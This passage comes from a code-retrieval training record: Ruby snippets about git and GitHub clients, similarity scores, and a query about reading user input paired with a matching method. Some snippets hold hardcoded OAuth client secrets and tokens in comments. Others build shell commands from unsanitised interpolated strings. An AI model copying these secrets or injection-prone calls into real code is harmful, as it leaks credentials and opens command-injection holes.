"def add_git_facts\n # see if we're in a git repo. first, we need a directory that exists\n dir = @path.expand_path.ascend.find {|p| p.directory? }\n \n Dir.chdir(dir) do\n root_result = Cmds.new \"git rev-parse --show-toplevel\"\n \n unless root_result.ok?\n @result.in_git_repo = false\n @result.is_git_root = false\n return\n end\n \n @result.in_git_repo = true\n \n git = @result.git = Result.new\n git.root = Pathname.new root_result.out.chomp\n @result.is_git_root = @path == git.root\n \n user = git.user = Result.new\n \n ['name', 'email'].each {|key|\n user[key] = begin\n Cmds.chomp! \"git config user.#{ key }\"\n rescue\n end\n }\n \n git.origin = begin\n Cmds.chomp! \"git remote get-url origin\"\n rescue\n end\n \n match = GITHUB_SSH_URL_RE.match(git.origin) ||\n GITHUB_HTTPS_URL_RE.match(git.origin)\n \n git.is_github = !! match\n \n return unless match\n \n git.owner = match['owner']\n git.name = match['name']\n git.full_name = \"#{ git.owner }/#{ git.name }\"\n \n if true == @args['github_api']\n github = git.github = Result.new\n github.api_url = \"https://api.github.com/repos/#{ git.owner }/#{ git.name }\"\n \n response = Net::HTTP.get_response URI(github.api_url)\n \n if response.is_a? Net::HTTPSuccess\n # parse response body and add everything to github result\n parsed = JSON.parse response.body\n parsed.each {|k, v| github[k] = v}\n else\n # assume it's private if we failed to find it\n github.private = true\n end\n \n end\n end\n end",
"def init_repo\n @logger.info \"repository url: #{@repository[:url]}\"\n\n if FileTest.exist?(@repository[:path])\n @logger.info \"repository path exists: #{@repository[:path]}\"\n @rgit = Git.open(@repository[:path], :log => @logger)\n @logger.info @rgit.fetch\n else\n @logger.info \"repository path doesn't exist: #{@repository[:path]}\"\n # Create LogDevice to log to websocket message\n @rgit = Git.clone(@repository[:url], @repository[:name],\n :path => @work_dir,\n :log => @logger)\n end\n end",
"def execute\n get_repo(repo_name).repo.fetch\n end",
"def github\n @github ||= begin\n if username.present? && github_access_token.present?\n Octokit::Client.new(login: username, oauth_token: github_access_token, auto_traversal: true)\n else\n nil\n end\n end\n end",
"def init(path = Dir.pwd, options = {})\n exit_status = FalkorLib::Git.init(path, options)\n unless command?('git-flow')\n # Check (mainly for Linux) if the command is not available under `/usr/lib/git-core`\n git_lib = '/usr/lib/git-core/'\n error \"you shall install git-flow: see https://github.com/nvie/gitflow/wiki/Installation\" unless File.exist?(File.join(git_lib, 'git-flow'))\n end\n remotes = FalkorLib::Git.remotes(path)\n git_root_dir = FalkorLib::Git.rootdir( path )\n Dir.chdir( git_root_dir ) do\n unless FalkorLib::Git.commits?( git_root_dir)\n warn \"Not yet any commit detected in this repository.\"\n readme = 'README.md'\n unless File.exist?( readme )\n answer = ask(cyan(\"=> initialize a commit with an [empty] #{readme} file (Y|n)?\"), 'Yes')\n exit 0 if answer =~ /n.*/i\n FileUtils.touch(readme)\n end\n FalkorLib::Git.add(readme, \"Initiate the repository with a '#{readme}' file\")\n end\n branches = FalkorLib::Git.list_branch(path)\n gitflow_branches = FalkorLib.config.gitflow[:branches].clone\n # correct eventually the considered branch from the options\n gitflow_branches.each do |t, _b|\n gitflow_branches[t] = options[t.to_sym] if options[t.to_sym]\n confs = FalkorLib::Git.config('gitflow*', path, :hash => true)\n gitflow_branches[t] = confs[\"gitflow.branch.#{t}\"] unless confs.empty?\n end\n if options[:interactive]\n gitflow_branches[:master] = ask(\"=> branch name for production releases\", gitflow_branches[:master])\n gitflow_branches[:develop] = ask(\"=> branch name for development commits\", gitflow_branches[:develop])\n end\n ap gitflow_branches if options[:debug]\n if remotes.include?( 'origin' )\n info \"=> configure remote (tracked) branches\"\n exit_status = FalkorLib::Git.fetch(path)\n gitflow_branches.each do |_type, branch|\n if branches.include? \"remotes/origin/#{branch}\"\n exit_status = FalkorLib::Git.grab(branch, path)\n else\n unless branches.include? branch\n info \"=> creating the branch '#{branch}'\"\n FalkorLib::Git.create_branch( branch, path )\n end\n exit_status = FalkorLib::Git.publish(branch, path )\n end\n end\n else\n gitflow_branches.each do |_type, branch|\n unless branches.include? branch\n info \" => creating the branch '#{branch}'\"\n exit_status = FalkorLib::Git.create_branch( branch, path )\n end\n end\n end\n #info \"initialize git flow configs\"\n gitflow_branches.each do |t, branch|\n exit_status = execute \"git config gitflow.branch.#{t} #{branch}\"\n end\n FalkorLib.config.gitflow[:prefix].each do |t, prefix|\n exit_status = execute \"git config gitflow.prefix.#{t} #{prefix}\"\n end\n devel_branch = gitflow_branches[:develop]\n #info \"checkout to the main development branch '#{devel_branch}'\"\n exit_status = run %(\n git checkout #{devel_branch}\n )\n # git config branch.$(git rev-parse --abbrev-ref HEAD).mergeoptions --no-edit for the develop branch\n exit_status = execute \"git config branch.#{devel_branch}.mergeoptions --no-edit\"\n if branches.include?('master') && !gitflow_branches.values.include?( 'master' )\n warn \"Your git-flow confuguration does not hold the 'master' branch any more\"\n warn \"You probably want to get rid of it asap by running 'git branch -d master'\"\n end\n if devel_branch != 'master' &&\n remotes.include?( 'origin' ) &&\n branches.include?( 'remotes/origin/master')\n warn \"You might want to change the remote default branch to point to '#{devel_branch}\"\n puts \"=> On github: Settings > Default Branch > #{devel_branch}\"\n puts \"=> On the remote bare Git repository: 'git symbolic-ref HEAD refs/head/#{devel_branch}'\"\n end\n end\n exit_status\n end",
"def github_client\n Octokit::Client.new(\n access_token: ENV.try(:[], \"GITHUB_ACCESS_TOKEN\"),\n auto_paginate: true\n )\n end",
"def start\n extract_and_configure\n if config.managed?\n @pid = spawn(config.env, *process_arguments)\n\n # Wait for fcrepo to start\n while !status\n sleep 1\n end\n end\n end",
"def github_client\n Octokit::Client.new(:login => username, :oauth_token => token)\n end",
"def index\n\n\n# # Exchange your oauth_token and oauth_token_secret for an AccessToken instance.\n# def prepare_access_token(oauth_token, oauth_token_secret)\n# consumer = OAuth::Consumer.new(\"e24305f14f7f9a67c465\", \"604015f905f6207ec29f3661b952397663d58347\",\n# { :site => \"https://api.github.com/\",\n# :scheme => :header\n# })\n# # now create the access token object from passed values\n# token_hash = { :oauth_token => oauth_token,\n# :oauth_token_secret => oauth_token_secret\n# }\n# access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n# return access_token\n# end\n\n# # Exchange our oauth_token and oauth_token secret for the AccessToken instance.\n# access_token = prepare_access_token(\"abcdefg\", \"hijklmnop\")\n# # use the access token as an agent to get the home timeline\n# @response = access_token.request(:get, \"https://api.github.com/repos/rails/rails/collaborators\")\n\n\n# curl https://api.github.com/repos/rails/rails/collaborators?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\n\n\n # url = \"https://github.com/login/oauth/authorize\"\n\n # @token = JSON.parse(open(url).read)\n\n @repo = Repo.new\n end",
"def git\n\tend",
"def git(name)\n path = locate(name)\n\n Git.open(path)\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n if config.deployable_label\n with_labelling do\n merge\n end\n else\n merge\n end\n end\n end",
"def fetch_github_information\n self.associated_commit_shas = []\n self.branch_name = nil\n self.username = nil\n\n return if self.dev_build\n\n GithubService.run(self.project.github_root_url, self.project.github_repo) do |service|\n if self.is_branch_build\n self.associated_commit_shas = service.github_commits(10, self.commit_sha)\n self.branch_name = nil\n self.username = nil\n else\n self.associated_commit_shas = []\n info = service.user_and_branch_for_pull_request(self.pull_request_number)\n self.username = info[:user]\n self.branch_name = info[:branch]\n end\n end\n end",
"def admin_fork_repo(dst, src)\n response = HTTParty.post(\n GIT_BASE_URL + 'projects/' + dst.to_s + '/fork/' + src.to_s,\n :headers => {\n 'PRIVATE-TOKEN' => GIT_TOKEN\n }\n )\n Rails.logger.info \"Git server response (fork repo): #{response}\"\n end",
"def git(*args)\n IO.popen(\"-\", \"r\") do |io|\n if io\n yield io\n else\n #STDERR.puts [GIT_BIN, \"--git-dir\", @git_dir, *args].inspect\n exec(GIT_BIN, \"--git-dir\", @git_dir, *args)\n end\n end\n end",
"def git(*args)\n Dir.chdir(@dir) do\n git = Process.spawn('git', *args)\n Process.wait(git)\n raise \"git #{args.join(' ')} (in #{@dir}) failed: #{$?.exitstatus}\" if $?.exitstatus != 0\n end\n end",
"def open\n require \"launchy\"\n\n Launchy.open(BASE_URL)\n end",
"def github_repo(access_token, api_endpoint, repo)\n client = Octokit::EnterpriseAdminClient.new :access_token => access_token :api_endpoint => api_endpoint\n client.repo repo \n end",
"def github\n process_oauth_callback\n end",
"def git_init\n @repo = Rugged::Repository.init_at repo_path.to_s\n @index = repo.index\n end",
"def fetch_from_github\n repo, branch, path = Post.parse_github_url self.github\n Environment.github.contents repo, ref: branch, path: path\n end",
"def github_repo(access_token, repo)\n client = Octokit::Client.new :access_token => access_token\n client.repo repo\n end",
"def call\n wiki.repo.git.pull({}, 'orgin', 'master')\n\n if settings.site\n if Dir.exist?(site_path)\n $stderr.puts \"Pulling `#{repo.branch}' from `origin' in `#{repo.path}'...\"\n repo.pull\n else\n $stderr.puts \"Cloning `#{repo.origin}' in `#{repo.path}'...\"\n repo.clone\n end\n end\n end",
"def github_pull\n Extension.github_sync\n end",
"def get_repos\n # using oauth token to increase limit of request to github api to 5000\n client = Octokit::Client.new :access_token => self.github_token\n (client.repositories self.github_name, {:type => 'all'}).map do |repo|\n repo.full_name\n end\n end",
"def command_runner cmd:, repo:nil, branch:nil\n status = run_cmd(cmd)\n status\n end",
"def git_init\n @repo = Rugged::Repository.init_at(repo_path.to_s)\n @index = repo.index\n end",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def repo_init\n git :init\n end",
"def run\n puts @usage if failed?\n puts @help if @opts[:help]\n exit if failed?\n increment\n @opts[:get] = @ghuls.get_random_user if @opts[:get].nil?\n\n user = @ghuls.get_user_and_check(@opts[:get])\n if !user\n puts 'Sorry, something wen\\'t wrong.'\n puts \"We could not find any user named #{@opts[:get]}.\"\n puts 'If you believe this is an error, please report it as a bug.'\n else\n @repos = @ghuls.get_user_repos(@opts[:get])\n @org_repos = @ghuls.get_org_repos(@opts[:get])\n language_data(user[:username])\n puts 'Getting forks, stars, and watchers of user repositories...'\n fork_data(@repos)\n puts 'Getting forks, stars, and watchers of organization repositories...'\n fork_data(@org_repos)\n follower_data(user[:username])\n issue_data(@repos)\n issue_data(@org_repos)\n calendar_data(user[:username])\n end\n exit\n end",
"def git_on(host, git_sub_command, git_repo_path, opts = {})\n git_command = \"git --git-dir=#{git_repo_path}/.git --work-tree=#{git_repo_path} #{git_sub_command}\"\n\n on(host, git_command, opts)\nend",
"def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend",
"def fork\n git_url = shift_argument\n name = shift_argument\n unless git_url and name\n error(\"Usage: mortar projects:fork GIT_URL PROJECT\\nMust specify GIT_URL and PROJECT.\")\n end\n validate_arguments!\n validate_project_name(name)\n\n if git.has_dot_git?\n begin\n error(\"Currently in git repo. You can not fork a new project inside of an existing git repository.\")\n rescue Mortar::Command::CommandFailed => cf\n error(\"Currently in git repo. You can not fork a new project inside of an existing git repository.\")\n end\n end\n is_public = options[:public]\n ask_public(is_public)\n git.clone(git_url, name, git.fork_base_remote_name)\n Dir.chdir(name)\n # register a nil project id because it hasn't been created yet\n register_project(name, is_public, nil) do |project_result|\n git.remote_add(\"mortar\", project_result['git_url'])\n git.push_master\n # We want the default remote to be the Mortar managed repo.\n git.git(\"fetch --all\")\n git.set_upstream('mortar/master')\n display \"Your project is ready for use. Type 'mortar help' to see the commands you can perform on the project.\\n\\n\"\n end\n end",
"def setup_repositories(opts)\n @repositories = RepositoryList.new(GithubAPI.forks(@username))\n update(opts)\n end",
"def find_repositories\n @repos = GithubApi.call :repos\n end",
"def import_repository(name, url)\n system(\"#{gitlab_shell_user_home}/gitlab-shell/bin/gitlab-projects import-project #{name}.git #{url}\")\n end",
"def github_client\n p = Project.find(params[:id])\n if p.github_token\n github = Github.new :oauth_token => p.github_token\n else\n github = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n end\n end",
"def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end",
"def fetch_github_data\n self.info = GithubInfoFetcher.new.call(github_path).to_h\n end",
"def fetch_projects!\n projects.destroy_all\n\n if github?\n result = YAML.load open(\"http://github.com/api/v2/yaml/repos/show/#{github}/\")\n\n result['repositories'].each do |repository|\n projects.create! :name => repository[:name], :description => repository[:description]\n end\n end\n rescue OpenURI::HTTPError # user not found, ignore\n end",
"def create_repo_fork(url, options = {} )\n namespace = options[:namespace] || client.user.username\n new_url = swap_namespace(url, namespace)\n repo = repo_exists?(new_url)\n unless repo or url == new_url\n upstream_repo_id = name_to_id(repo_id(url))\n logger.info(\"Forking project from #{url} to #{new_url}\")\n repo = client.create_fork(upstream_repo_id)\n # gitlab lies about having completed the forking process, so lets sleep until it is actually done\n loop do\n sleep(1)\n break if repo_exists?(repo.ssh_url_to_repo)\n end\n end\n add_permissions(repo.id, options[:default_members])\n repo\n end",
"def initialize(options)\n @git = Git.open(options[:repo])\n @repo_dir = options[:repo]\n @skip_existing = options[:skip_existing]\n @weekly_dir = options[:weeklies]\n end",
"def execute_git(repo_dir, *args)\n system('git', '-C', repo_dir, *args)\n end",
"def run\n repo_name = extract_full_repo_name(_get_entity_name)\n\n _set_entity_detail('owner', repo_name.split('/').first)\n _set_entity_detail('repository_name', repo_name.split('/')[1])\n _set_entity_detail('repository_uri', \"https://github.com/#{repo_name}\")\n _set_entity_detail('repository_public', repo_public?(repo_name))\n end",
"def initialize_repo\n puts \"starting to initialize repo: '#{self.ident}' finished successfully.\"\n self.update_repo\n end",
"def index\n if (params[:search]) && (params[:search].empty? == false) \n urlformated = URI.encode(params[:search])\n uri = URI.parse(\"https://api.github.com/legacy/repos/search/#{urlformated}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (uri.scheme == 'https')\n \n \n request = Net::HTTP::Get.new(uri.request_uri)\n \n res = http.request(request)\n response = JSON.parse(res.body)\n \n\n repository = response['repositories'].map {|rd|\\\n GithubRepository.new( rd['owner'], rd['name'],\\\n rd['description'], rd['language'], rd['url'])} \n \n @github_repositories = repository\n else\n @github_repositories = nil\n end \n end",
"def initialize_git\n inside(target_dir) do\n run(\"git init\", :capture => true)\n run(\"git add .\", :capture => true)\n end\n end",
"def git_init\n\tsystem('git init')\nend",
"def git(*args)\n cmd(*['git'] + args)\n end",
"def git(*args)\n cmd(*['git'] + args)\n end",
"def create\n\t\t# we're sent here by the GET '/auth' => 'sessions#create' route\n\t\t# response = Faraday.post(\"https://github.com/login/oauth/access_token\") do |request|\n\t\t# \trequest.headers['Accept'] = 'application/json'\n\t\t# \trequest.body = JSON.generate({\n\t\t# \t\t\t'client_id': ENV[\"GITHUB_CLIENT_ID\"],\n\t\t# \t\t\t'client_secret': ENV[\"GITHUB_CLIENT_SECRET\"],\n\t\t# \t\t\t'code': params[:code]\n\t\t# \t\t})\n\t\t# end\n\t\t# could also be written \n\t\tresponse = Faraday.post \"https://github.com/login/oauth/access_token\", {client_id: ENV[\"GITHUB_CLIENT_ID\"], client_secret: ENV[\"GITHUB_CLIENT_SECRET\"],code: params[:code]}, {'Accept' => 'application/json'}\n\n\t\t# this is sent back by github under the following form by default\n\t\t# access_token=e72e16c7e42f292c6912e7710c838347ae178b4a&scope=user%2Cgist&token_type=bearer\n\t\t# and since we asked for headers \"Accept: application/json\"\n\t\t# {\"access_token\":\"e72e16c7e42f292c6912e7710c838347ae178b4a\", \"scope\":\"repo,gist\", \"token_type\":\"bearer\"}\n\t\taccess_hash = JSON.parse(response.body)\n\t\tsession[:token] = access_hash[\"access_token\"]\n\n\t\t##### Now we have the token and we can use it to access the API\n\n\t\t# we make a call to get the username\n\t\tuser_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization' => \"token #{session[:token]}\", 'Accept' => 'application/json'}\n\t\t# parse the response body\n\t\tuser_json = JSON.parse(user_response.body)\n\t\t# set the username into the session\n\t\tsession[:username] = user_json[\"login\"]\n\t\tbinding.pry\n\t\t# next step happens in the root path (repositories#index)\n\t\tredirect_to root_path\n\tend",
"def github_api_setup\n @github_api ||= Github.new(oauth_token: self.token)\n end",
"def git_clone_repo(host, git_clone_path, git_source)\n on(host, \"git clone #{git_source} #{git_clone_path}\")\nend",
"def get_supported_addons_from_github\n uri_per_page = \"#{AddonsReposForksURI}&per_page=#{@github_results_per_page}\"\n all_forks = execute_request_uri( URI.parse(uri_per_page) )\n\n print \"[INFO] NB Fork Repositories in exo-addons organization (supported and not supported): \",all_forks.length,\"\\n\\n\"\n print \"[INFO][SUPPORTED_ADDONS] --------\\n\"\n all_forks.each {\n |fork_repo|\n # Each supported Addon repository is a fork from eXo blessed (exoplatform organization).\n # This method gets the repository details form GitHub to find parent url information.\n result = execute_request_uri( URI.parse(fork_repo[\"url\"]) )\n parent_ssh_url = result[\"parent\"][\"ssh_url\"];\n\n #check if the parent is in exoplatform organization\n if(parent_ssh_url.include? \"github.com:exoplatform\")\n fork_repo[\"ssh_url_fork_parent\"] = parent_ssh_url\n self.log(INFO,fork_repo[\"name\"], \"git ssh-url: #{result[\"parent\"][\"ssh_url\"]}\")\n @addons_supported.push(fork_repo)\n end\n }\n print \"[INFO][SUPPORTED_ADDONS] --------\\n\"\n end",
"def show_repo_list\n # Synchronize user's id_github with Git Hub (4 days between refreshs)\n @owner.sync_github!(4.days).save!\n \n # Synchronize list of user's projects (4 hours between refreshs)\n if @owner.sync_projects_delay?(4.hours)\n github_projects = @owner.get_github_projects\n \n if github_projects\n @owner.upd_projectlist_at = Time.now\n repos = CacheRepo.where(path: github_projects)\n \n # Drop any projects than no more exist in the user space\n if repos.length > 0\n CacheRepo.where.not(id: repos.map(&:id)).where(owner: @owner).delete_all\n end\n \n # Add any new project to this user\n (github_projects - repos.map(&:path)).each do |github_project_new|\n new_project = CacheRepo.new(path: github_project_new, owner: @owner)\n # Alway be aware of we have multiple workers and possibility concurrent insert\n if !new_project.save\n new_project = CacheRepo.where(path: github_project_new).first\n new_project.owner = @owner\n new_project.save!\n end\n end\n end\n @owner.save!\n end\n \n # Repository information will be refreshed only if the user request it\n # So, this action is more light than #show_repo_details\n @projects = CacheRepo.where(owner: @owner)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_list, status: :ok, location: @owner }\n end\n end",
"def run( args )\n dir_str = args.shift\n case dir_str\n when '-h', '--help'\n help\n when '-v', '--version'\n @out.puts \"QuickGitHelp #{::QuickGitHelp::VERSION}\"\n nil\n when nil\n QuickGitHelp::Tutorial.new(Dir.pwd).create\n else\n QuickGitHelp::Tutorial.new(File.expand_path(dir_str)).create\n end\n\n rescue StandardError => err\n @err.puts \"ERROR: While executing quickgithelp ... (#{err.class})\"\n @err.puts \" #{err.to_s}\"\n exit 1\n end",
"def git_get(dir=nil)\n if dir.nil?\n directory = Dir.pwd\n else\n directory = dir\n end\n Dir.chdir(directory) do \n system('git clone https://github.com/offensive-security/exploit-database.git ~/src/exploit-db-git')\n end\nend",
"def initialize(user = nil, api_token = nil, repo_name = \"cookie_monster\") \n if user.nil?\n puts \"No user provided, getting from git config\"\n user = `git config --get github.user`.chomp\n end\n\n if api_token.nil?\n puts \"No API token provided, getting from git config\"\n api_token = `git config --get github.token`.chomp\n end\n\n\n @user = user.chomp # chomp in case user passes in bad data\n @api_token = api_token.chomp # chomp in case user passes in bad data\n @repo_name = repo_name\n\n # Authenticated client\n #@client = Octopussy::Client.new({:login => @user, :token => @api_token})\n\n # Location of local git repository. Necessary for pushing to Github.\n # Put it in .cloud_path so it doesn't conflict with anything\n @git_dir_path = File.expand_path(\"~/.cloud_path/\" + @repo_name)\n\n create_repo\n create_git_dir\n \n # For whatever reason, Repository.find raises Octopi::NotFound when\n # we've just created the repository in this run of the script.\n # Possibly a caching error.\n begin\n repo = Repository.find(:user => @user, :repo => @repo_name)\n rescue Octopi::NotFound\n puts \"Repository not found. Probably just created repository, please\"\n puts \"run this script again.\"\n exit 0\n end\n end",
"def run\n logger.info(\"Running command : git-shell -c #{@cmd_cmd} '#{@real_path}'\")\n if system(Settings.git.shell, \"-c\", \"#{@cmd_cmd} '#{@real_path}'\")\n logger.info(\"\\t\\tOK\")\n else\n logger.info(\"\\t\\tKO\")\n end\n end",
"def repo; end",
"def repo; end",
"def repo; end",
"def repo; end",
"def git_remote\n repos = begin\n %x{git remote --verbose 2>/dev/null}.split(\"\\n\").map(&:split).map {|x| [x[0],x[1]] }.uniq\n rescue\n []\n end\n default = repos.find { |x| x.first == 'origin'}\n items = repos.map { |x| x.last }\n\n menu_with_default \"Select repository \", items.compact, default\n end",
"def setup_repo\n status(2) {\n setup_path\n if @type == 'full'\n Repository::Git.clone(@repo, @type)\n end\n Repository::Git.pull(@repo, @type)\n }\n end",
"def github_client\n Octokit::Client.new access_token: self.setting.user_with_token.client_token\n end",
"def github_client(opts={})\n return unless has_github?\n\n @github_client ||= Github.new oauth_token: github_identity.token\n end",
"def url\n \"http://github.com/#{login}\"\n end",
"def fetch_pages\n run_command 'git', 'fetch', 'origin', 'gh-pages:gh-pages', '--depth', '1'\n end",
"def open_project(path)\n UI.puts \"Opening '#{path}'\"\n `open \"#{path}\"`\n end",
"def github_projects\n Rails.cache.fetch(\"/users/#{self.id}/github_projects\", :expires_in => 1.day) {\n gh = Github.new(authentications.where(:provider => 'github').first.provider_token)\n gh.repos\n }\n end",
"def pull_latest_changes\n system \"cd #{Dots.home} && #{git_pull}\"\n end",
"def git_exec(command, *args)\n Dir.chdir(@grit_repo.working_dir) do\n %x{git #{command} #{args.join(' ')}}\n end\n end",
"def url\n \"http://github.com/#{repo.owner.login}/#{repo.name}/#{name}\"\n end",
"def tree\n read_repo\n if @branches.count < 1\n render :template => 'repositories/newrepo'\n return\n end\n\n @files = @repository.files(@branch, @path)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repository }\n end\n end",
"def giturl(project_name, repo_name) ; end",
"def git command, *args\n run 'git', command.to_s, *args\nend",
"def add_master_repo\n cmd = ['master', url, 'master', '--progress']\n Repo::Add.parse(cmd).run\n end",
"def get_my_pull_requests\n repos_to_get = GITHUB_REPOS.kind_of?( Array ) ? GITHUB_REPOS : get_my_repos\n\n repos_to_get.each do |repo|\n status = []\n pulls_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/pulls?state=open\"\n\n get_json( pulls_url ).each_with_index do |item, index|\n sha = item[ 'head' ][ 'sha' ]\n status_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/commits/#{ sha }/status\"\n\n status << get_json( status_url )\n\n unless item[ 'assignee' ].nil?\n if item[ 'assignee' ][ 'login' ] == ENV[ 'GITHUB_USERNAME' ]\n color = ''\n state = status[ index ][ 'state' ]\n\n unless status[ index ][ 'statuses' ].empty?\n color = \"| color=#{ determine_status_color( state )}\"\n end\n\n puts \"#{ repo }: ##{ item[ 'number' ] } #{ item[ 'title' ] } #{ color } | href=#{ item[ 'html_url' ] }\"\n end\n end\n end\n end\nend",
"def start\n @pid = Process.fork do\n if (@options.rack) \n # NOTE: This does not support command-line setting of repo!\n opts = { :server => :webrick, :host => @host, :port => @port}\n PlanR::Application::LocalHttpd::WebApp.run!( repo, opts ) \n else\n # rack doesn't do the one thing we need it to: \n # pass WebApp instantiation arguments to Webrick.mount\n opts = { :BindAddress => @host, :Port => @port}\n @webrick = ::WEBrick::HTTPServer.new(opts)\n @webrick.mount \"/\", Servlet,\n [ PlanR::Application::LocalHttpd::WebApp, \n @options ]\n @webrick.start\n end\n end\n\n trap('INT') { Process.kill 'INT', @pid }\n trap('TERM') { Process.kill 'INT', @pid }\n\n self\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end"
] |
[
"0.6816446",
"0.6795773",
"0.59275985",
"0.59157896",
"0.5887781",
"0.5867371",
"0.58375704",
"0.5836108",
"0.5764995",
"0.5755515",
"0.5725261",
"0.5717024",
"0.5699554",
"0.56827533",
"0.5681311",
"0.5663664",
"0.56584895",
"0.56522703",
"0.56443954",
"0.5632289",
"0.55969983",
"0.55796194",
"0.55768883",
"0.5570866",
"0.5565549",
"0.5533501",
"0.55273086",
"0.5506749",
"0.5485212",
"0.5484463",
"0.54686105",
"0.5461119",
"0.5459595",
"0.5454505",
"0.54455495",
"0.5445408",
"0.54453784",
"0.54404575",
"0.54339874",
"0.5429052",
"0.5410456",
"0.539581",
"0.53921103",
"0.5391688",
"0.53889674",
"0.53716415",
"0.5369202",
"0.5364623",
"0.5352523",
"0.5348917",
"0.5343471",
"0.5342279",
"0.53416157",
"0.5338256",
"0.53357226",
"0.5321636",
"0.53074104",
"0.5304648",
"0.53034943",
"0.52932227",
"0.52870893",
"0.5284355",
"0.52800363",
"0.52796525",
"0.52708447",
"0.5269264",
"0.5266234",
"0.52619946",
"0.52517736",
"0.52517736",
"0.525025",
"0.52377623",
"0.523324",
"0.522539",
"0.5221026",
"0.52131593",
"0.52098",
"0.5195229",
"0.5180242",
"0.5179072",
"0.5179072",
"0.5179072",
"0.5179072",
"0.5178911",
"0.5176752",
"0.51762706",
"0.5172335",
"0.5171306",
"0.5162326",
"0.5158638",
"0.5155719",
"0.51530766",
"0.5150575",
"0.5150329",
"0.5148354",
"0.5129231",
"0.5127898",
"0.5125912",
"0.51238406",
"0.51152486",
"0.5103317"
] |
0.0
|
-1
|
gets the user input. If input is "exit", leave the program.
|
def gets_user_input
input = gets.chomp
puts "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
# binding.pry
if input == "exit"
exit
end
return input
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_user_input\n user_input = gets.chomp\n user_input == \"exit\" ? exit : user_input\nend",
"def exit?(input)\n input == \"exit\"\n end",
"def prompt_and_handle_exit(message)\n puts message\n user_input = gets.strip\n \n if user_input.downcase == \"exit\" \n puts \"\\nThanks for stopping by!\\n\".colorize(:color => :green) \n exit\n end \n user_input\n end",
"def exit?\n user_input == \"q\" || user_input == \"quit\"\n end",
"def exit\n sleep(2)\n puts \"Enter 'back' to see the full list of anime again, or enter 'exit' to quit :) \"\n puts \"\"\n input = gets.strip\n case input\n when \"back\"\n self.list_all_titles\n when \"exit\"\n puts \"\"\n puts \" Thank you for checking out this year's newest anime!!\"\n puts \"\"\n puts \" Source: Myanimelist.com\"\n puts \"\"\n else\n puts \"Invalid entry, please try again :) \"\n self.exit\n end\n end",
"def get_menu_or_exit\n puts \"\\n\n There you go! Interesting, amirite?\\n\n Enter 'main' to return to the main menu,\\n\n or if you're done here enter 'exit':\"\n valid_response = false\n until valid_response == true\n user_input = gets.chomp\n if user_input == 'exit'\n valid_response = true\n elsif user_input == 'menu'\n valid_response = true\n else\n puts \"\\n\n Invalid input. Please enter 'main' or 'quit' below:\"\n end\n end\n user_input\n end",
"def user_input\n print '>> '.yellow\n case raw_input = gets.chomp\n when 'c', 'cancel' then tell_user \"\\n\";raise ProgramExceptions::Cancel.new\n else\n tell_user \"\\n\"\n return raw_input\n end\n rescue => error\n raise ProgramExceptions::Exit.new if\\\n error.class == ProgramExceptions::Exit ||\n (defined?(IRB) && error.class == IRB::Abort)\n raise error\n end",
"def exit_check\n if @students.count > @saved\n puts \"Students added since last save, are you sure you want to quit? (y/n)\"\n input = STDIN.gets.chomp\n while true\n if input == \"Y\" || input == \"y\" \n exit\n elsif input == \"N\" || input == \"n\"\n return\n else\n end\n end\n else\n exit\n end\nend",
"def exit_anything(input)\n if input.downcase == \"exit\"\n exit_statement\n end\nend",
"def exit_game?\n puts \"Would you like to exit game or play again?\"\n decision = gets.chomp\n if decision.downcase == \"exit\"\n exit\n elsif decision.downcase == \"play again\"\n initialize\n end\n end",
"def menu_exit\n puts \"\\nPlease type 'Menu' to navigate to the menu, or 'Exit' to exit\"\n puts\"\\n-------------------------------------------------------------------------------------------\"\n input = gets.strip.downcase\n if input == \"menu\"\n menu_items\n elsif input == \"exit\"\n exit_statement\n else\n puts \"\\nDid you mean to type 'menu' or 'exit'?\" # Or do they want to re enter info(next iteration)\n menu_exit\n end\nend",
"def end_script?\n puts \"Please choose your action!\n\t'q' quit\n\t'm' menu\"\n answer = STDIN.gets.chomp\n\n case answer\n when \"q\" then exit\n when \"m\" then interactive_menu\n else\n puts \"Learn to type...\"\n end_script?\n end\nend",
"def end_input\n\t\tinput = nil\n\t\tuntil input != nil\n\t\t\tinput = case gets.chomp.downcase\n\t\t\twhen \"yes\", \"y\" then \"yes\"\n\t\t\twhen \"no\", \"n\" then \"no\"\n\t\t\telse nil\n\t\t\tend\n\t\t\tputs \"That's not a valid option!\" if not input\n\t\tend\n\t\tinput\n\tend",
"def exit_tent_house\n puts \"Are you sure you want to Exit [y/n]\"\n key_in = gets.chomp()\n\n if key_in.eql? \"y\"\n @db.close if @db\n\n puts \"Thanks for using 'Tent House Rental'\"\n puts \"Exiting...\"\n\n return\n else\n main\n end\n end",
"def action_0\nputs \"Are you ready to start a new game?\\n [ Y ] [ N ]\"\n user_input = gets.chomp.downcase\n if user_input == \"y\"\n action_1\n elsif user_input == \"n\"\n puts \"\\nSmart decision! Come back later :)\\n\\n\"\n exit\n else\n nil\n end\nend",
